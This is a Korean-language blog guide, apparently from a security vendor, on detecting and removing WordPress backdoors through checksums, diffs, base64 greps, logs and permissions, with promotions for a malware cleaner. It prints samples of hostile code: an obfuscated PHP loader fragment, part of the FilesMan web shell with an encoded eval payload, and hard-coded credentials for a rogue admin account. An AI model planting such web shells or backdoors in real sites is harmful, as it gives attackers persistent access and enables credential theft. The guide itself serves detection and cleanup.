Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

WordPress 백도어 해킹 완벽 가이드: 원인, 탐지 방법과 복구 절차

WordPress 백도어란 무엇인가?

매년 수천 개의 WordPress 사이트가 해킹을 당하고 있으며, 그 피해 규모는 계속해서 증가하고 있습니다. 해킹당한 웹사이트들은 사기 행위나 스팸 유포에 악용되곤 하는데, 문제는 대부분의 사이트 소유자와 개발자가 감염 사실 자체를 인지하지 못한다는 점입니다.

WordPress 백도어(Backdoor)는 공격자가 서버에 무단으로 지속적으로 접근할 수 있게 해주는 코드를 의미합니다. 흔히 어딘가 숨겨진 악성 파일의 형태로 존재하거나, 감염된 플러그인으로 위장하기도 합니다. 매달 새로운 변종 백도어 해킹 기법이 발견되고 있으며, 한 번 침투한 백도어는 감염을 오래 유지시키는 역할을 하기 때문에 더욱 위험합니다.

해커들은 끊임없이 WordPress 백도어를 심으려 시도합니다. 지난 몇 년간 여러 플러그인이 감염 확산 통로로 악용되었고, 그렇기 때문에 위협은 어디에서든 발생할 수 있습니다. 백도어 제거는 상당한 시간과 리소스를 요구하는 작업이지만, 사전 예방 조치만 잘 갖추면 피해를 충분히 통제할 수 있습니다. 보안이 강화된 WordPress 사이트는 공격을 막지 못하더라도 최소한 지연시킬 수 있습니다. 이 글에서는 WordPress 백도어를 찾고 복구하는 방법을 자세히 알아보겠습니다.

관련 가이드 – WordPress 보안 완전 정복 스텝 바이 스텝 가이드 (해킹 위험도 90% 감소)

WordPress 백도어 해킹의 주요 원인

WordPress 사이트 구축은 매우 편리하지만, 그만큼 여러 보안 취약점이 백도어 침투 경로가 될 수 있습니다. 주요 원인을 정리하면 다음과 같습니다.

  • 취약점이 있는 플러그인 또는 테마 사용
  • 사이트 로그인 정보가 약하거나 기본값 그대로인 경우
  • 파일 권한 설정이 허술하여 민감한 파일이 노출된 경우
  • 방화벽이나 보안 솔루션을 전혀 사용하지 않는 경우
  • WordPress 코어, 플러그인 등 설치 항목이 오래된 경우
  • 감염된 서버를 다른 사이트와 공유하는 경우 (호스팅 업체에 서브넷 관련 사항 문의 필요)
WordPress 백도어 해킹 완벽 가이드: 원인, 탐지 방법과 복구 절차

WordPress 백도어 찾는 방법

테마에서 백도어 찾기

비활성화된 테마는 백도어를 숨기기 가장 좋은 장소입니다. 해커들도 이 사실을 잘 알고 있어 사이트 내 이런 테마들을 먼저 살핍니다. 비활성 테마는 평소 확인할 일이 거의 없기 때문입니다.

WordPress 테마에는 functions.php라는 핵심 파일이 포함되어 있습니다. 이 파일은 네이티브 PHP 함수와 WordPress 함수를 호출하는 역할을 담당하므로, 사실상 모든 종류의 작업을 실행할 수 있습니다. 그래서 공격자들이 백도어를 심기 위해 이 파일을 노리는 경우가 많습니다. 아래 이미지가 그 대표적인 예시입니다.

WordPress 백도어 해킹 완벽 가이드: 원인, 탐지 방법과 복구 절차

위 코드는 functions.php 파일에 삽입된 악성 코드입니다. 공격자가 www.yoursite.com/wp-includes/registration.php URL에 접속하면 이 코드가 실행되어 다음 정보를 가진 새 관리자 계정을 생성합니다.

ID: backdooradmin

Password: Pa55W0rd.

심각한 점은 해당 사용자를 삭제하더라도, 공격자가 이 URL에 다시 접속하면 계정이 재생성된다는 것입니다. 이것이 전형적인 WordPress 백도어의 작동 방식입니다. 다만 이런 코드를 삽입하려면 우선 서버 접근 권한이 확보되어야 하므로, 열려 있는 FTP 포트나 기타 취약점이 함께 이용되었을 가능성이 높습니다.

WordPress 백도어가 걱정되신가요? 지금 채팅 위젯으로 메시지를 남겨주세요. 전문가가 복구를 도와드립니다. 지금 내 WordPress 사이트 보안 강화하기.

플러그인에서 백도어 찾기

WordPress 백도어 해킹은 상당 부분 취약한 플러그인에서 비롯됩니다. 지난 몇 년간 여러 플러그인이 보안 결함으로 판명되었고, 최근에는 Contact Form 7이 화제가 되었습니다. 이 플러그인은 활성 사용자가 500만 명이 넘는 인기 플러그인인데, 발견된 결함은 권한 상승 취약점이었습니다.

플러그인 파일이 변조되면 대시보드에서는 눈에 띄지 않는 경우가 많습니다. 하지만 FTP로 직접 검색하면 이런 파일들을 적발할 수 있습니다. 백도어 파일은 정상적으로 보이도록 'help.php' 같은 도움말 파일 형식으로 위장되곤 합니다. 플러그인에서 백도어가 발견되는 이유는 다음과 같습니다.

  • 사용하지 않는 플러그인일수록 감염되기 쉽습니다. 백도어를 오랫동안 은닉할 수 있기 때문입니다.
  • 신뢰할 수 없거나 인기 없는 플러그인은 코딩 품질이 낮은 경우가 많아 백도어 해킹 가능성을 높입니다.
  • 오래된 플러그인은 업데이트 없이 계속 사용하는 사이트가 많아 주요 공격 대상이 됩니다.
  • 이런 취약한 플러그인은 다른 코어 파일을 변조하는 교두보로도 활용됩니다.

따라서 출처 불명의 플러그인은 경계하고, 사용하지 않는 플러그인은 반드시 삭제하세요!

설치 파일(코어 파일)에서 백도어 찾기

플러그인 감염 다음 단계는 코어 파일 변조입니다. 기본 파일 안에 의심스러운 코드가 삽입되어 있거나, 새로운 파일이 생성되어 있을 수 있습니다. 백도어 코드는 대개 다음과 같은 형태로 나타납니다.

$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43

이런 코드는 난독화(obfuscation) 기법으로 처리되어 사람이 읽기 매우 어렵습니다. 겉보기에 지저분하고 이상한 코드를 발견하면 해당 파일을 즉시 삭제해야 합니다. 또한 백도어가 xml.php, media.php, plugin.php처럼 정상 파일 이름으로 위장하는 경우도 있으니, 겉모습이 합법적으로 보여도 어떤 파일이든 건너뛰지 말고 하나씩 점검해야 합니다.

파일 내에서 FilesMan이라는 키워드도 반드시 확인하세요. 아래는 악명 높은 백도어 FilesMan 02의 코드 덤프입니다. 이 백도어는 탐지가 까다롭고 로그에도 기록되지 않으며, 비밀번호 등 민감한 정보를 탈취하는 데 사용됩니다.

<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='x29x29x29x3B",".");
?>

예를 들어 위 코드 6번째 줄은 16진수(hex) 형태로 작성되어 있습니다. 디코딩하면 preg_replace("/.*/e","eval(gzinfla...와 같은 형태로 나타납니다. 온라인에서 무료로 사용할 수 있는 hex 디코딩 도구를 적극 활용하세요. 공격자는 Base64 인코딩으로도 코드를 숨길 수 있으므로 마찬가지로 주의해야 합니다. 위 코드에서는 4번째 줄에 FilesMan 키워드가 있는데, 이 감염의 변종들은 대부분 이 키워드를 포함합니다. 때로는 악성 코드가 .htaccess 같은 민감한 파일을 조작하기도 하므로, 이런 파일들도 꼼꼼히 살펴야 합니다.

WordPress 백도어 해킹 복구 방법

체크섬(Checksum) 비교

복구의 첫 단계는 체크섬 비교입니다. 이는 파일 무결성을 판별하는 휴리스틱 방법으로, 수동 검수도 가능하지만 자동화 도구를 활용하면 더욱 효율적입니다. 체크섬은 코어 파일뿐 아니라 플러그인과 테마에도 적용할 수 있습니다. 더불어 공개된 악성 파일 목록을 참고해 나만의 블랙리스트를 만들어 관리하는 것도 좋은 방법입니다. 체크섬이 일치하지 않는 파일이 발견되면, 수동으로 진행하여 WordPress 백도어를 제거합니다.

WordPress 백도어 제거에 전문가의 도움이 필요하신가요? 채팅 위젯으로 메시지를 남겨주시면 성심껏 도와드리겠습니다. 지금 내 WordPress 사이트 복구하기.

코어 파일 무결성 검증

두 번째로, 파일들의 체크섬 값이 다르게 나타난다면 수동으로 검증해야 합니다. WordPress 백도어 해킹이 파일을 변조했을 가능성이 매우 높기 때문입니다. 설치 파일의 무결성은 다음과 같이 확인할 수 있습니다. 먼저 새 버전의 WordPress를 다운로드합니다.

$ mkdir WordPress

$ cd WordPress

첫 번째 명령은 WordPress라는 디렉터리를 생성하고, 두 번째 명령은 해당 디렉터리로 이동합니다.

$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip

$ tar -zxvf 4.9.8.zip

첫 번째 줄의 명령으로 최신 버전 WordPress(여기서는 4.9.8)를 다운로드하고, 두 번째 줄로 압축을 해제합니다. 이제 핵심 단계입니다. $ diff -r path/to/your/file.php /Wordpress/wp-cron.php 명령으로 두 파일 간의 차이를 비교합니다. 백도어가 파일을 수정했다면 변경 사항이 그대로 드러납니다. 단, xmlrpc.php처럼 동적으로 작동하는 파일도 있습니다. 이 파일은 사용자와 서비스가 RPC 방식으로 사이트와 상호작용할 수 있게 해주는데, 해커들은 이 특성을 알고 백도어를 숨기는 곳으로 자주 활용합니다. 따라서 이 파일은 특히 철저히 점검하여 백도어를 찾아 제거해야 합니다.

인코딩된 악성 코드 검색

파일이 변조되었더라도 코드가 인코딩되어 있으면 육안으로 식별하기 어려울 수 있습니다. 이럴 때는 Base64 인코딩 문자열을 검색하며 정리 작업을 시작할 수 있습니다. 이때 grep 명령이 큰 힘을 발휘합니다. 다음 명령어를 사용해 보세요.

find . -name "*.php" -exec grep "base64" '{}'\; -print &> output.txt

이 명령은 base64가 포함된 모든 항목을 output.txt 파일에 깔끔하게 정리해 보여줍니다. 이후 온라인 디코딩 도구를 사용해 일반 텍스트로 변환하여 내용을 확인하면 됩니다. .php 외의 다른 파일도 검색하려면 코드에서 *.php 부분만 원하는 확장자로 바꿔주면 됩니다. 또한 악성 코드가 16진수 형태로 숨어 있을 수도 있으므로 grep -Pr "[\x01\x02\x03]" 명령도 활용해 보세요. 그 외 유사한 인코딩 방식에 대해서도 같은 과정을 반복하고, 악성 코드가 담긴 파일이나 라인은 삭제하여 백도어를 완전히 제거합니다.

서버 로그 활용

서버 로그는 백도어 제거에 중요한 단서를 제공합니다. 먼저 특정 날짜 이후 수정된 파일이 어떤 것들인지 확인하세요. 또한 FTP 로그를 검색하여 서버에 접속한 IP 주소들을 파악하는 것도 좋습니다. 최근에 수정된 파일들을 주의 깊게 살피고, 특히 이미지 폴더도 놓치지 마세요. 이미지 폴더에 실행 파일이 있다는 건 누구도 예상하지 못하기 때문입니다. 게다가 이미지 폴더는 쓰기 권한이 열려 있는 경우가 많아 해커들이 백도어를 숨기기 좋아하는 장소입니다.

민감한 파일의 권한 설정도 적절한지 반드시 확인하세요. 파일 권한은 444 (r–r–r–) 또는 440 (r–r—–)로 설정하는 것이 좋습니다. 특히 이미지 폴더 내 변경 사항을 세심히 살펴보세요.

업데이트와 백업

WordPress 사이트를 최신 상태로 유지하는 것의 중요성은 아무리 강조해도 지나치지 않습니다. 오래된 설치 환경은 사실상 감염된 사이트나 다름없습니다.

백도어 해킹의 원인을 추적할 수 없다면, 먼저 현재 사이트를 백업한 후 백업본으로 복원하고 두 버전을 비교해 보세요.

백업본이 없다면 WordPress 코어 파일을 새 파일로 교체하는 방법도 있습니다. 이 경우 현재 사이트를 백업한 후 WordPress를 수동으로 업데이트해야 합니다.

또한 사용 중인 플러그인에서 보안 취약점이 보고되면 즉시 업데이트하는 것이 좋습니다. 패치가 너무 오래 걸린다면 대체 플러그인으로 교체하세요. 공식 블로그를 꾸준히 확인하면 패치 소식을 가장 빠르게 접할 수 있습니다.

WordPress 백도어 스캐너 활용

사람은 누구나 실수를 할 수 있습니다. 수동 검토는 번거롭고 오류 가능성도 높아, 백도어 해킹이 재발하는 원인이 되기도 합니다. 이에 대한 해결책은 자동화입니다. 현재 시장에는 상당히 발전된 보안 도구들이 많이 나와 있습니다. 이런 스캐너는 WordPress 백도어를 탐지하고 제거할 수 있습니다. 그중 하나가 Astra Malware Cleaner입니다. 단순히 웹사이트를 정리하는 것을 넘어 향후 감염까지 예방해 주며, 가격도 합리적이고 종합적인 보안 현황을 한눈에 보여줍니다. 소중한 시간과 리소스를 절약할 수 있는 현명한 선택입니다.